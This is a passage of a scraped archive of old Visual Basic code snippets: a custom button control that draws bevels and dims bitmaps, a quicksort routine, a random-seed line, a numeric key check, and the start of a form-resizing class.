UserControl.ScaleHeight / 2 - bmp.bmHeight / 2\nBitBlt UserControl.hdc, XPos, YPos, XPos + picDraw.Width, YPos + picDraw.Height, dcTemp, 0, 0, vbSrcCopy\n'Clean up\nGoSub CleanUp\n'------------------------------------------------------------------\nDrawText:\n'Since TextOut won't align, and DrawText doesn't work :P,\n'combine both to make something that does! :)\n'Use DrawText to return the text's height, and textout accordingly!\n'------------------------------------------------------------------\nIf bUseBevels And bBevel Then\n If bInnerBevel Then\n FormInnerBevel\n Else\n FormOuterBevel\n End If\nEnd If\n'Set transparent text rendering\noldTextDrawMode = SetBkMode(UserControl.hdc, TRANSPARENT)\n'Find out the bounds of the usercontrol's rectangle\nresult = GetWindowRect(UserControl.hWnd, rt)\n'Asks DrawText to calculate the height of the text, stick it in result\nresult = DrawText(UserControl.hdc, sCaption, Len(sCaption), rt, DT_CALCRECT)\nSelect Case lhTextPosition\n Case ciLeft\n XPos = 1\n oldTextAlign = SetTextAlign(UserControl.hdc, TA_LEFT)\n \n Case ciCenter\n XPos = UserControl.ScaleWidth / 2\n oldTextAlign = SetTextAlign(UserControl.hdc, TA_CENTER)\n Case ciRight\n XPos = UserControl.ScaleWidth - 1\n oldTextAlign = SetTextAlign(UserControl.hdc, TA_RIGHT)\n \nEnd Select\nSelect Case lvTextPosition\n Case cTop\n YPos = 1\n \n Case cBottom\n YPos = UserControl.ScaleHeight - result - 1\n \n Case cMiddle\n YPos = UserControl.ScaleHeight / 2 - result / 2\n Case c3Quarters\n YPos = UserControl.ScaleHeight * (3 / 4) - result / 2 - 1\n \nEnd Select\nresult = TextOut(UserControl.hdc, XPos, YPos, sCaption, Len(sCaption))\n'Put back the old text alignment style\nSetTextAlign UserControl.hdc, oldTextAlign\n'Put back the old text drawing mode\nSetBkMode UserControl.hdc, oldTextDrawMode\n'Ask the control to repaint itself, since i've changed it's looks.\nUserControl.Refresh\nExit Sub\n'Error handling\n'If we hit an error 91, which will usually mean that picview didn't\n'point to anything, skip blitting image, render text.\n'------------------------------------------------------------------\nErrorHandler:\nIf Err.Number = 91 Then GoTo DrawText: GoSub CleanUp: Exit Sub\nMsgBox \"Error in Coolbutton UserControl, DrawBevel sub!\" & vbCrLf & CStr(Err.Number) & vbCrLf & Err.Description, vbCritical, \"Error!\"\nGoSub CleanUp\nExit Sub\nResume Next\n\n'Frees objects and memory\n'------------------------------------------------------------------\nCleanUp:\nSelectObject dcTemp, bmpOld\nSelectPalette dcTemp, palOld, True\nRealizePalette dcTemp\nDeleteDC dcTemp\nReleaseDC ByVal 0&, dcDesktop\nDeleteObject palHalfTone\nReturn\nEnd Sub\nPublic Sub ForceRedraw()\n DrawBevel iBevelType\nEnd Sub\nPrivate Sub FormBevelLines(ByVal side As Integer, ByVal wid As Integer, ByVal Color As Long)\n'This is from www.planet-source-code.com's extensive vb code\n'library.\n'Unfortunately, the code would never cut and paste right for me,\n'so i've forgotten the author's name.\nDim x1 As Integer, Y1 As Integer, X2 As Integer, Y2 As Integer\nDim rightX As Integer, bottomY As Integer\nDim dx1 As Integer, dx2 As Integer, dy1 As Integer, dy2 As Integer\nDim i As Integer\n \nrightX = UserControl.ScaleWidth - 1\nbottomY = UserControl.ScaleHeight - 1\n \nSelect Case side\n Case 0\n 'Left side\n x1 = 0\n dx1 = 1\n X2 = 0\n dx2 = 1\n Y1 = 0\n dy1 = 1\n Y2 = bottomY + 1\n dy2 = -1\n \n Case 1\n 'Right side\n x1 = rightX\n dx1 = -1\n X2 = x1\n dx2 = dx1\n Y1 = 0\n dy1 = 1\n Y2 = bottomY + 1\n dy2 = -1\n \n Case 2\n 'Top side\n x1 = 0\n dx1 = 1\n X2 = rightX\n dx2 = -1\n Y1 = 0\n dy1 = 1\n Y2 = 0\n dy2 = 1\n \n Case 3\n 'Bottom side\n x1 = 1\n dx1 = 1\n X2 = rightX + 1\n dx2 = -1\n Y1 = bottomY\n dy1 = -1\n Y2 = Y1\n dy2 = dy1\nEnd Select\n\nFor i = 1 To wid\n UserControl.Line (x1, Y1)-(X2, Y2), Color\n x1 = x1 + dx1\n X2 = X2 + dx2\n Y1 = Y1 + dy1\n Y2 = Y2 + dy2\nNext i\nEnd Sub\nPrivate Sub FormOuterBevel()\nUserControl.ScaleMode = vbPixels\nFormBevelLines 0, ciBevelWidth, colour_Highlight\nFormBevelLines 1, ciBevelWidth, colour_LowLight\nFormBevelLines 2, ciBevelWidth, colour_Highlight\nFormBevelLines 3, ciBevelWidth, colour_LowLight\nEnd Sub\n\nPrivate Sub FormInnerBevel()\nUserControl.ScaleMode = vbPixels\nFormBevelLines 0, ciBevelWidth, colour_LowLight\nFormBevelLines 1, ciBevelWidth, colour_Highlight\nFormBevelLines 2, ciBevelWidth, colour_LowLight\nFormBevelLines 3, ciBevelWidth, colour_Highlight\nEnd Sub\nPrivate Sub FreeDimmedBitmaps()\n If hMouseOverBitmap Then DeleteObject hMouseOverBitmap: hMouseOverBitmap = 0\n If hMouseDownBitmap Then DeleteObject hMouseDownBitmap: hMouseDownBitmap = 0\nEnd Sub\nPrivate Sub GenerateDimmedPictures()\nIf picNormal Is Nothing Then Exit Sub\n'i hope there's no bugs here!\nScreen.MousePointer = vbHourglass\nDoEvents\n'Declare variables\nDim Quads() As RGBQUAD, LongColours() As Long\nDim result As Long, bmp As BITMAP\nDim lSize As Long\nDim i As Long\nDim hTempDC As Long\nDim oldBitmap As Long\nDim bmpinfo As BITMAPINFO\nDim ti As Integer\nDim tCol As Long\nDim srcPtr As Long, dstPtr As Long\nDim colIgnore As Long\n'VB stores colours in a differnet order of what windows does.\n'which is hell annoying. Alignment and order is different, so\n'i have to rearrange to get it right.\ncolIgnore = CLng(colour_Ignore)\nDim bArray1(3) As Byte\nDim bArray2(3) As Byte\nsrcPtr = VarPtr(colIgnore)\ndstPtr = VarPtr(bArray1(0))\nCopyMemory ByVal dstPtr, ByVal srcPtr, Len(colIgnore)\nbArray2(0) = bArray1(2)\nbArray2(1) = bArray1(1)\nbArray2(2) = bArray1(0)\nbArray2(3) = 0\nsrcPtr = VarPtr(bArray2(0))\ndstPtr = VarPtr(colIgnore)\nCopyMemory ByVal dstPtr, ByVal srcPtr, Len(colIgnore)\n'ColIgnore has the colour to ignore in API nice terms.\n'Get the bitmap's dimensions\nresult = GetObject(picNormal.Handle, Len(bmp), bmp)\n'Find out the size of the array i need\nlSize = bmp.bmWidth * bmp.bmHeight\n'Make a DC so i can use GetDIBits, SetDIBits\nhTempDC = CreateCompatibleDC(ByVal 0&)\n'Select the bitmap to the DC\noldBitmap = SelectObject(hTempDC, picNormal.Handle)\n'Alloc mem\nReDim Quads(lSize)\nReDim LongColours(lSize)\n'Create info struct, to read raw data in RGB format\n'Asking for the data in RLE format might be a lot faster to\n'process, there's an idea for a speedup.\nWith bmpinfo.bmiHeader\n .biSize = Len(bmpinfo.bmiHeader)\n .biWidth = bmp.bmWidth\n .biHeight = bmp.bmHeight\n .biPlanes = bmp.bmPlanes\n .biBitCount = 32\n .biCompression = BI_RGB\nEnd With\n'Get the data, in Quad and Long form.\nresult = GetDIBits(hTempDC, picNormal.Handle, 0&, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\nresult = GetDIBits(hTempDC, picNormal.Handle, 0&, bmp.bmHeight, LongColours(0), bmpinfo, DIB_RGB_COLORS)\n'Decrease brightness of the bitmap\nFor i = LBound(Quads, 1) To UBound(Quads, 1)\n \n If Not LongColours(i) = colIgnore Then\n With Quads(i)\n .rgbBlue = .rgbBlue * csDimPercent\n .rgbGreen = .rgbGreen * csDimPercent\n .rgbRed = .rgbRed * csDimPercent\n End With\n End If\nNext i\n \n'Delete any bitmap if already created\nIf hMouseDownBitmap Then DeleteObject hMouseDownBitmap\n'Create a bitmap\nhMouseDownBitmap = CreateCompatibleBitmap(UserControl.hdc, bmp.bmWidth, bmp.bmHeight)\n'Select new bitmap\nresult = SelectObject(hTempDC, hMouseDownBitmap)\n'Write bits to it\nresult = SetDIBits(hTempDC, hMouseDownBitmap, 0, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\n'Part 1 done.\n'------------------------------------------------------------------\n'Select original image\nSelectObject hTempDC, picNormal.Handle\n'Get original data again\nresult = GetDIBits(hTempDC, picNormal.Handle, 0, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\n'Brighten, watching for overflows\nFor i = LBound(Quads, 1) To UBound(Quads, 1)\n \n If Not LongColours(i) = colIgnore Then\n \n With Quads(i)\n ti = .rgbBlue * csBriPercent\n If ti < cbMaxValue Then\n .rgbBlue = ti\n Else\n .rgbBlue = cbMaxValue\n End If\n \n ti = .rgbGreen * csBriPercent\n If ti < cbMaxValue Then\n .rgbGreen = ti\n Else\n .rgbGreen = cbMaxValue\n End If\n \n ti = .rgbRed * csBriPercent\n If ti < cbMaxValue Then\n .rgbRed = ti\n Else\n .rgbRed = cbMaxValue\n End If\n End With\n End If\nNext i\n'Delete old bitmap if present\nIf hMouseOverBitmap Then DeleteObject hMouseOverBitmap\n'Create new bitmap\nhMouseOverBitmap = CreateCompatibleBitmap(UserControl.hdc, bmp.bmWidth, bmp.bmHeight)\n'Select bitmap to DC\nSelectObject hTempDC, hMouseOverBitmap\n'Copy data over\nresult = SetDIBits(hTempDC, hMouseOverBitmap, 0, bmp.bmHeight, Quads(0), bmpinfo, DIB_RGB_COLORS)\n'Part 2 done\n'------------------------------------------------------------------\nDoEvents\n'Clean up\n'------------------------------------------------------------------\n'Dealloc memory\nErase Quads()\nErase LongColours\n'Select back old bitmap\nSelectObject hTempDC, oldBitmap\n'Delete the DC\nresult = DeleteDC(hTempDC)\nScreen.MousePointer = vbNormal\nEnd Sub\nPrivate Function HasBackColourProperty(ByVal ctrl As Object) As Boolean\nOn Error GoTo ErrorHandler\nDim colourTemp As OLE_COLOR\ncolourTemp = ctrl.BackColor\nHasBackColourProperty = True\nExit Function\nErrorHandler:\nExit Function\nEnd Function\nPrivate Sub UserControl_EnterFocus()\n UserControl.FontUnderline = bUnderlineFocus\nEnd Sub\nPrivate Sub UserControl_ExitFocus()\n UserControl.FontUnderline = False\n If bUnderlineFocus Then\n DrawBevel iBevelType\n End If\nEnd Sub\n\nPrivate Sub UserControl_Initialize()\n'Set initial values for variables that i can.\n'----------------------------------------------------------\niBevelType = UpOut\niInitialScaleMode = UserControl.ScaleMode\ncolourHighlight = QBColor(15)\ncolourLowLight = QBColor(8)\ncolourBackColour = vbButtonFace\ncolourTextStdColour = QBColor(0)\ncolourTextOverColour = QBColor(1)\nUseBevels = True\nUsePictures = True\nbDipControls = False\nAutoSize = False\nUseUnderlineOnFocus = True\nbEnabled = True\nEnd Sub\n\nPrivate Sub UserControl_KeyDown(KeyCode As Integer, Shift As Integer)\nIf Not bEnabled Then Exit Sub\n'Traps for spacebar, if it's pushed, then behave like a button\n'----------------------------------------------------------\nIf KeyCode = ti2 Then Exit Sub\nIf KeyCode = vbKeySpace Then\n ti = iBevelType\n iBevelType = DownIn\n DrawBevel iBevelType\n UserControl.Refresh\nEnd If\nti2 = KeyCode\nEnd Sub\nPrivate Sub UserControl_KeyPress(KeyAscii As Integer)\nIf Not bEnabled Then Exit Sub\n'If enter / return 's pressed, then simulate the button going\n'up, then down.\n'----------------------------------------------------------\nIf KeyAscii = vbKeyReturn Then\n Dim iPrevBeveltype\n \n iPrevBeveltype = iBevelType\n \n iBevelType = DownIn\n DrawBevel iBevelType\n UserControl.Refresh\n \n Sleep 50\n \n iBevelType = UpIn\n DrawBevel iBevelType\n UserControl.Refresh\n \n Sleep 50\n \n RaiseEvent Click\n \n iBevelType = iPrevBeveltype\n DrawBevel iBevelType\n \nEnd If\nEnd Sub\nPrivate Sub UserControl_KeyUp(KeyCode As Integer, Shift As Integer)\nIf Not bEnabled Then Exit Sub\n'Accompanying part for the KeyDown sub\n'----------------------------------------------------------\nIf KeyCode = vbKeySpace And ti2 = vbKeySpace Then\n iBevelType = UpIn\n DrawBevel (iBevelType)\n UserControl.Refresh\n \n Sleep 50\n \n RaiseEvent Click\n \n iBevelType = ti\n ti = 0\n DrawBevel (iBevelType)\n ti2 = 0\nEnd If\nEnd Sub\nPrivate Sub UserControl_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\nIf Not bEnabled Then Exit Sub\nDim result As Long\nDim bInArea As Boolean\nbInArea = ((x >= UserControl.ScaleLeft And x <= UserControl.ScaleWidth) And (y >= UserControl.ScaleTop And y <= UserControl.ScaleHeight))\nbClick = False\nIf Button = vbLeftButton Then\n bMouseDowned = True\n 'Mouse down, in area\n \n iBevelType = iBevelType Or 2\n DrawBevel iBevelType\n \n If (iBevelType = UpIn Or iBevelType = DownIn) Then\n result = SetCapture(UserControl.hWnd)\n End If\n \n bClick = (iBevelType And 1 = 1)\n \n bDeviated = True\nElseIf Button = vbRightButton Then\n 'Redraw with the mouse out.\n 'iBevelType = UpOut\n 'DrawBevel iBevelType\nEnd If\nIf bInArea Then\n RaiseEvent MouseDown(Button, Shift, x, y)\nEnd If\nEnd Sub\nPrivate Sub UserControl_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)\nIf Not bEnabled Then Exit Sub\nDim result As Long\nDim iPrevBevel As Integer\nDim bInArea As Boolean\n'Bug / Glitch: VB doesn't update X and Y for a scalemode\n'If you change scalemode in the sub, X and Y are not changed, ever!\nUserControl.ScaleMode = iInitialScaleMode\nIf Button = 0 Then\n iBevelType = iBevelType And 1\nElseIf Button = vbLeftButton And bMouseDowned Then\n iBevelType = iBevelType Or 2\nEnd If\niPrevBevel = iBevelType\nbInArea = ((x >= UserControl.ScaleLeft And x <= UserControl.ScaleWidth) And (y >= UserControl.ScaleTop And y <= UserControl.ScaleHeight))\nIf bInArea Then\n 'Set iBevelType to reflect that the mouse is in\n iBevelType = iBevelType Or 1\nElse\n 'Set iBeveltype to reflect that the mouse is out\n iBevelType = iBevelType And 2\nEnd If\nIf (iBevelType And 1) Then\n 'Debug.Print \"mouse in area\"\n \n If iPrevBevel <> iBevelType Then\n DrawBevel iBevelType\n \n 'MouseEnter is raised here, only occurs once.\n RaiseEvent MouseEnter\n result = SetCapture(UserControl.hWnd)\n End If\n RaiseEvent MouseMove(Button, Shift, x, y)\nElse\n \n 'I can raise the event here, because it'll only get called\n 'once, before the usercontrol releases capture of mouse events.\n \n RaiseEvent MouseExit\n \n iBevelType = UpOut\n DrawBevel iBevelType\n result = ReleaseCapture()\n \nEnd If\nEnd Sub\n\nPrivate Sub UserControl_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)\nIf Not bEnabled Then Exit Sub\nDim result As Long\nDim bInArea As Boolean\nbInArea = ((x >= UserControl.ScaleLeft And x <= UserControl.ScaleWidth) And (y >= UserControl.ScaleTop And y <= UserControl.ScaleHeight))\n'VB releases capture on mouseup somehow...,\n'might be how it's coded.\nIf Button = vbRightButton Then\n result = SetCapture(UserControl.hWnd)\nEnd If\nIf Button = vbLeftButton Then\n \n iBevelType = iBevelType And 1\n DrawBevel iBevelType\n \n result = SetCapture(UserControl.hWnd)\n bDeviated = False\nEnd If\nIf bClick And (iBevelType And 1 = 1) And bMouseDowned Then\n bClick = False\n RaiseEvent Click\nEnd If\nIf bInArea Then\n RaiseEvent MouseUp(Button, Shift, x, y)\nEnd If\nIf Button = vbLeftButton Then result = SetCapture(UserControl.hWnd)\nbMouseDowned = False\nEnd Sub\n\nPrivate Sub UserControl_ReadProperties(PropBag As PropertyBag)\nDim picTemp As StdPicture\nWith PropBag\n Set picNormal = .ReadProperty(\"Picture\", picTemp)\n Set picMouseDown = .ReadProperty(\"PictureDown\", picTemp)\n Set picMouseOver = .ReadProperty(\"PictureOver\", picTemp)\n colourHighlight = .ReadProperty(\"colourHighlight\", QBColor(15))\n colourLowLight = .ReadProperty(\"colourLowlight\", QBColor(8))\n colourBackColour = .ReadProperty(\"colourBackColour\", vbButtonFace)\n colourTextStdColour = .ReadProperty(\"colourTextStdColour\", QBColor(0))\n colourTextOverColour = .ReadProperty(\"colourTextOverColour\", colour_TextStdColour)\n colourIgnore = .ReadProperty(\"colourIgnore\", vbBlack)\n Caption = .ReadProperty(\"Caption\", \"\")\n UseBevels = .ReadProperty(\"UseBevels\", True)\n UsePictures = .ReadProperty(\"UsePictures\", True)\n UseDippedControls = .ReadProperty(\"UseDippedControls\", False)\n AutoSize = .ReadProperty(\"AutoSize\", False)\n UseUnderlineOnFocus = .ReadProperty(\"UseUnderlineOnFocus\", True)\n Enabled = .ReadProperty(\"Enabled\", True)\n Set UserControl.Font = .ReadProperty(\"CaptionFont\", UserControl.Font)\n bButtonsAlwaysUp = .ReadProperty(\"AlwaysDrawBevel\", False)\n AutoDim = .ReadProperty(\"AutoDim\", False)\n TextPositionV = .ReadProperty(\"TextPositionV\", cMiddle)\n TextPositionH = .ReadProperty(\"TextPositionH\", ciCenter)\n AutoColour = .ReadProperty(\"AutoColour\", False)\nEnd With\nUserControl.BackColor = colour_BackColour\nbLoaded = True\nEnd Sub\nPrivate Sub UserControl_Resize()\nDrawBevel iBevelType\nEnd Sub\nPrivate Sub UserControl_Show()\nDrawBevel iBevelType\nEnd Sub\n\n\nPublic Property Get Picture() As StdPicture\n Set Picture = picNormal\nEnd Property\nPublic Property Set Picture(ByVal pNewValue As StdPicture)\n Set picNormal = pNewValue\n PropertyChanged \"Picture\"\n \n If bAutoSize Then AutoSizeControl\n If bAutoDim Then GenerateDimmedPictures\n DrawBevel iBevelType\nEnd Property\nPublic Property Get PictureOver() As StdPicture\n Set PictureOver = picMouseOver\nEnd Property\nPublic Property Set PictureOver(ByVal pNewValue As StdPicture)\n Set picMouseOver = pNewValue\n PropertyChanged \"PictureOver\"\nEnd Property\nPublic Property Get PictureDown() As StdPicture\n Set PictureDown = picMouseDown\nEnd Property\nPublic Property Set PictureDown(ByVal pNewValue As StdPicture)\n Set picMouseDown = pNewValue\n PropertyChanged \"PictureDown\"\nEnd Property\nPublic Property Get colourHighlight() As OLE_COLOR\n colourHighlight = colour_Highlight\nEnd Property\nPublic Property Let colourHighlight(ByVal cNewValue As OLE_COLOR)\n colour_Highlight = cNewValue\n PropertyChanged \"colourHighlight\"\nEnd Property\nPublic Property Get colourLowLight() As OLE_COLOR\n colourLowLight = colour_LowLight\nEnd Property\nPublic Property Let colourLowLight(ByVal cNewValue As OLE_COLOR)\ncolour_LowLight = cNewValue\nPropertyChanged \"colourLowLight\"\nEnd Property\nPublic Property Get colourBackColour() As OLE_COLOR\n colourBackColour = colour_BackColour\nEnd Property\nPublic Property Let colourBackColour(ByVal cNewValue As OLE_COLOR)\ncolour_BackColour = cNewValue\nPropertyChanged \"colourBackColour\"\nUserControl.BackColor = cNewValue\nDrawBevel iBevelType\nEnd Property\nPublic Property Get colourTextStdColour() As OLE_COLOR\n colourTextStdColour = colour_TextStdColour\nEnd Property\nPublic Property Let colourTextStdColour(ByVal cNewValue As OLE_COLOR)\n colour_TextStdColour = cNewValue\n PropertyChanged \"colourTextStdColour\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get colourTextOverColour() As OLE_COLOR\n colourTextOverColour = colour_TextOverColour\nEnd Property\nPublic Property Let colourTextOverColour(ByVal cNewValue As OLE_COLOR)\ncolour_TextOverColour = cNewValue\nPropertyChanged \"colourTextOverColour\"\nEnd Property\nPrivate Sub UserControl_Terminate()\n FreeDimmedBitmaps\nEnd Sub\nPrivate Sub UserControl_WriteProperties(PropBag As PropertyBag)\nDim picTemp As StdPicture, fntTemp As Font\nWith PropBag\n .WriteProperty \"CaptionFont\", UserControl.Font, fntTemp\n .WriteProperty \"Picture\", picNormal, picTemp\n .WriteProperty \"PictureDown\", picMouseDown, picTemp\n .WriteProperty \"PictureOver\", picMouseOver, picTemp\n .WriteProperty \"colourHighlight\", colour_Highlight, QBColor(15)\n .WriteProperty \"colourLowlight\", colour_LowLight, QBColor(8)\n .WriteProperty \"colourBackColour\", colour_BackColour, &H8000000F\n .WriteProperty \"colourTextStdColour\", colour_TextStdColour, QBColor(0)\n .WriteProperty \"colourTextOverColour\", colour_TextOverColour, colour_TextStdColour\n .WriteProperty \"colourIgnore\", colourIgnore, vbBlack\n .WriteProperty \"Caption\", sCaption, \"\"\n .WriteProperty \"UseBevels\", UseBevels, True\n .WriteProperty \"UsePictures\", UsePictures, True\n .WriteProperty \"UseDippedControls\", UseDippedControls, False\n .WriteProperty \"AutoSize\", AutoSize, False\n .WriteProperty \"Enabled\", Enabled, True\n .WriteProperty \"UseUnderlineOnFocus\", UseUnderlineOnFocus, True\n .WriteProperty \"AlwaysDrawBevel\", bButtonsAlwaysUp, False\n .WriteProperty \"AutoDim\", AutoDim, False\n .WriteProperty \"TextPositionV\", TextPositionV, cMiddle\n .WriteProperty \"TextPositionH\", TextPositionH, ciCenter\n .WriteProperty \"AutoColour\", AutoColour, False\nEnd With\nEnd Sub\n\nPublic Property Get Caption() As String\nCaption = sCaption\nEnd Property\nPublic Property Let Caption(ByVal sNewValue As String)\nsCaption = sNewValue\nPropertyChanged \"Caption\"\nDim i As Integer, ts As String\ni = InStr(1, sNewValue, \"&\", vbBinaryCompare)\nIf i <> 0 And i <> Len(sNewValue) Then\n ts = Mid$(sNewValue, i + 1, 1)\n UserControl.AccessKeys = ts\nEnd If\nDrawBevel iBevelType\nEnd Property\nPublic Property Get UsePictures() As Boolean\n UsePictures = bUsePictures\nEnd Property\nPublic Property Let UsePictures(ByVal bNewValue As Boolean)\n bUsePictures = bNewValue\n PropertyChanged \"UsePictures\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get UseBevels() As Boolean\n UseBevels = bUseBevels\nEnd Property\nPublic Property Let UseBevels(ByVal bNewValue As Boolean)\n bUseBevels = bNewValue\n PropertyChanged \"UseBevels\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get UseDippedControls() As Boolean\n UseDippedControls = bDipControls\nEnd Property\nPublic Property Let UseDippedControls(ByVal bNewValue As Boolean)\n bDipControls = bNewValue\n PropertyChanged \"UseDippedControls\"\nEnd Property\nPublic Property Get AutoSize() As Boolean\n AutoSize = bAutoSize\nEnd Property\nPublic Property Let AutoSize(ByVal bNewValue As Boolean)\n bAutoSize = bNewValue\n PropertyChanged \"AutoSize\"\n If bAutoSize Then AutoSizeControl\nEnd Property\nPublic Property Get UseUnderlineOnFocus() As Boolean\n UseUnderlineOnFocus = bUnderlineFocus\nEnd Property\nPublic Property Let UseUnderlineOnFocus(ByVal bNewValue As Boolean)\n bUnderlineFocus = bNewValue\n PropertyChanged \"UseUnderlineOnFocus\"\nEnd Property\n\nPublic Property Get CaptionFont() As Font\n Set CaptionFont = UserControl.Font\nEnd Property\nPublic Property Set CaptionFont(ByVal fNewValue As Font)\nSet UserControl.Font = fNewValue\nPropertyChanged \"CaptionFont\"\nDrawBevel iBevelType\nEnd Property\nPublic Property Get Enabled() As Boolean\n Enabled = bEnabled\nEnd Property\nPublic Property Let Enabled(ByVal bNewValue As Boolean)\n bEnabled = bNewValue\n PropertyChanged \"Enabled\"\nEnd Property\nPublic Property Get hWnd() As Long\n hWnd = UserControl.hWnd\nEnd Property\nPublic Property Let hWnd(ByVal lnewValue As Long)\n 'Do nothing\nEnd Property\nPublic Property Get AlwaysDrawBevel() As Boolean\nAlwaysDrawBevel = bButtonsAlwaysUp\nEnd Property\nPublic Property Let AlwaysDrawBevel(ByVal bNewValue As Boolean)\nbButtonsAlwaysUp = bNewValue\nPropertyChanged \"AlwaysDrawBevel\"\nForceRedraw\nEnd Property\nPublic Property Get AutoDim() As Boolean\n AutoDim = bAutoDim\nEnd Property\nPublic Property Let AutoDim(ByVal bNewValue As Boolean)\n bAutoDim = bNewValue\n PropertyChanged \"AutoDim\"\n \n If bAutoDim Then\n If Ambient.UserMode Then GenerateDimmedPictures\n Else\n FreeDimmedBitmaps\n End If\nEnd Property\n\nPublic Property Get TextPositionV() As eVTextPosition\n TextPositionV = lvTextPosition\nEnd Property\nPublic Property Let TextPositionV(ByVal iNewValue As eVTextPosition)\n lvTextPosition = iNewValue\n PropertyChanged \"TextPositionV\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get TextPositionH() As eHTextPosition\n TextPositionH = lhTextPosition\nEnd Property\nPublic Property Let TextPositionH(ByVal iNewValue As eHTextPosition)\n lhTextPosition = iNewValue\n \n PropertyChanged \"TextPositionH\"\n \n DrawBevel iBevelType\nEnd Property\nPublic Property Get colourIgnore() As OLE_COLOR\n colourIgnore = colour_Ignore\nEnd Property\nPublic Property Let colourIgnore(ByVal cNewValue As OLE_COLOR)\n colour_Ignore = cNewValue\n \n PropertyChanged \"colourIgnore\"\nEnd Property\nPublic Property Get AutoColour() As Boolean\n AutoColour = bAutoColour\nEnd Property\nPublic Property Let AutoColour(ByVal bNewValue As Boolean)\n Static bUsingOldColour As Boolean\n Static colourOld As OLE_COLOR\n If HasBackColourProperty(UserControl.Extender.Container) Then\n If bNewValue Then\n colourOld = colourBackColour\n colourBackColour = UserControl.Extender.Container.BackColor\n bUsingOldColour = True\n Else\n If bUsingOldColour Then colourBackColour = colourOld\n End If\n \n bAutoColour = bNewValue\n PropertyChanged \"AutoColour\"\n Else\n bNewValue = False\n bAutoColour = False\n VBA.MsgBox \"Sorry, AutoColour can't be changed, because the container doesn't support a BackColor property!\", vbExclamation\n End If\nEnd Property\n"},{"WorldId":1,"id":897,"LineNumber":1,"line":"Public Function QSort(strList() As String, lLbound As Long, lUbound As Long)\n ':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'\n '::: :::'\n '::: Routine: QSort :::'\n '::: Author: Mike Shaffer (after Rod Stephens, et al.) :::'\n '::: Date: 21-May-98 :::'\n '::: Purpose: Very fast sort of a string array :::'\n '::: Passed: strList String array :::'\n '::: lLbound Lower bound to sort (usually 1) :::'\n '::: lUbound Upper bound to sort (usually ubound()) :::'\n '::: Returns: strList (in sorted order) :::'\n '::: Copyright: Copyright *c* 1998, Mike Shaffer :::'\n '::: ALL RIGHTS RESERVED WORLDWIDE :::'\n '::: Permission granted to use in any non-commercial :::'\n '::: product with credit where due. For free :::'\n '::: commercial license contact mshaffer@nkn.net :::'\n '::: Revisions: 22-May-98 Added and then dropped revision :::'\n '::: using CopyMemory rather than the simple swap :::'\n '::: when it was found to not provide much benefit. :::'\n '::: :::'\n ':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'\n Dim strTemp As String\n Dim strBuffer As String\n Dim lngCurLow As Long\n Dim lngCurHigh As Long\n Dim lngCurMidpoint As Long\n \n lngCurLow = lLbound ' Start current low and high at actual low/high\n lngCurHigh = lUbound\n \n If lUbound <= lLbound Then Exit Function ' Error!\n lngCurMidpoint = (lLbound + lUbound) \\ 2 ' Find the approx midpoint of the array\n \n strTemp = strList(lngCurMidpoint) ' Pick as a starting point (we are making\n ' an assumption that the data *might* be\n ' in semi-sorted order already!\n \n Do While (lngCurLow <= lngCurHigh)\n \n Do While strList(lngCurLow) < strTemp\n lngCurLow = lngCurLow + 1\n If lngCurLow = lUbound Then Exit Do\n Loop\n \n Do While strTemp < strList(lngCurHigh)\n lngCurHigh = lngCurHigh - 1\n If lngCurHigh = lLbound Then Exit Do\n Loop\n \n If (lngCurLow <= lngCurHigh) Then ' if low is <= high then swap\n strBuffer = strList(lngCurLow)\n strList(lngCurLow) = strList(lngCurHigh)\n strList(lngCurHigh) = strBuffer\n '\n lngCurLow = lngCurLow + 1 ' CurLow++\n lngCurHigh = lngCurHigh - 1 ' CurLow--\n End If\n \n Loop\n \n If lLbound < lngCurHigh Then ' Recurse if necessary\n QSort strList(), lLbound, lngCurHigh\n End If\n \n If lngCurLow < lUbound Then ' Recurse if necessary\n QSort strList(), lngCurLow, lUbound\n End If\n \nEnd Function\n"},{"WorldId":1,"id":860,"LineNumber":1,"line":"\n' Ensure a random seed even if the program is started at exactly the same time each day.\nRandomize Int(CDbl((Now))) + Timer"},{"WorldId":1,"id":870,"LineNumber":1,"line":"Function IsNumber (ByVal KeyAscii As Integer) As Integer\nIf InStr(1, \"1234567890\", Chr$(KeyAscii), 0) > 0 Or KeyAscii = 8 Then\n IsNumber = True\nElse\n IsNumber = False\nEnd If\nEnd Function\n"},{"WorldId":1,"id":880,"LineNumber":1,"line":"VERSION 1.0 CLASS\nBEGIN\n MultiUse = -1 'True\nEND\nAttribute VB_Name = \"Elastic\"\nAttribute VB_Creatable = True\nAttribute VB_Exposed = False\nOption Explicit\nDim iFormHeight As Integer, iFormWidth As Integer, iNumOfControls As Integer\nDim iTop() As Integer, iLeft() As Integer, iHeight() As Integer, iWidth() As Integer, iFontSize() As Integer, iRightMargin() As Integer\nDim bFirstTime As Boolean\nSub Init(FormName As Form, Optional WindState)\nDim I As Integer\nDim WinMax As Boolean\n WinMax = Not IsMissing(WindState)\n \n iFormHeight = FormName.Height\n iFormWidth = FormName.Width\n iNumOfControls = FormName.Controls.Count - 1\n bFirstTime = True\n ReDim iTop(iNumOfControls)\n ReDim iLeft(iNumOfControls)\n ReDim iHeight(iNumOfControls)\n ReDim iWidth(iNumOfControls)\n ReDim iFontSize(iNumOfControls)\n ReDim iRightMargin(iNumOfControls)\nOn Error Resume Next\n For I = 0 To iNumOfControls\n If TypeOf FormName.Controls(I) Is Line Then\n iTop(I) = FormName.Controls(I).Y1\n iLeft(I) = FormName.Controls(I).X1\n iHeight(I) = FormName.Controls(I).Y2\n iWidth(I) = FormName.Controls(I).X2\n Else\n iTop(I) = FormName.Controls(I).Top\n iLeft(I) = FormName.Controls(I).Left\n iHeight(I) = FormName.Controls(I).Height\n iWidth(I) = FormName.Controls(I).Width\n iFontSize(I) = FormName.FontSize\n iRightMargin(I) = FormName.Controls(I).RightMargin\n End If\n Next\n 